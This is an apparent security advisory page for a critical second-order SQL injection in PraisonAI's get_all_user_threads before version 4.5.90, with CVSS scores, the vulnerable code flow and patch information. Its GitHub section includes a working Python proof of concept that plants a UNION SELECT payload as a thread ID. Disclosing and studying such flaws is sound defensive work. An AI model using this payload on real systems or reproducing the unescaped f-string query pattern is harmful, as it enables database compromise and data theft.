9.8critical
PraisonAI: Second-Order SQL Injection in `get_all_user_threads`
- Severity
- 9.8critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.59% (higher than 49% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-9cq8-3v94-434gPYSEC-2026-470
Description
PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| MervinPraison PraisonAI | < 4.5.90 | CVE List |
| praisonai (PyPI) | before 4.5.90 | GitHub Advisory Database, PyPA Advisory Database |
| praison praisonai | before 4.5.90 | NVD |
All scores
| GitHub_M | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
PraisonAI is a multi-agent teams system. Prior to version 4.5.90, the get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access. This issue has been patched in version 4.5.90.
GitHub Advisory Database
Summary
The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
Details
File Path:
src/praisonai/praisonai/ui/sql_alchemy.py
Flow:
- Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
- Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
- Sink (Line 576):
WHERE s."threadId" IN {thread_ids}
Proof of Concept (PoC)
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console
Impact
An attacker can achieve full database compromise, including:
- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents
NVD (es)
PraisonAI es un sistema de equipos multiagente. Antes de la versión 4.5.90, la función get_all_user_threads construye consultas SQL sin procesar utilizando f-strings con IDs de hilo sin escapar obtenidos de la base de datos. Un atacante almacena un ID de hilo malicioso a través de update_thread. Cuando la aplicación carga la lista de hilos, la carga útil inyectada se ejecuta y otorga acceso completo a la base de datos. Este problema ha sido parcheado en la versión 4.5.90.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-34934 changed 2026-04-06 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-9cq8-3v94-434g changed 2026-11-16 | CC-BY-4.0 |
| NVD | CVE-2026-34934 changed 2026-07-24 | Public domain |
| PyPA Advisory Database | PYSEC-2026-470 changed 2026-07-13 | CC-BY-4.0 |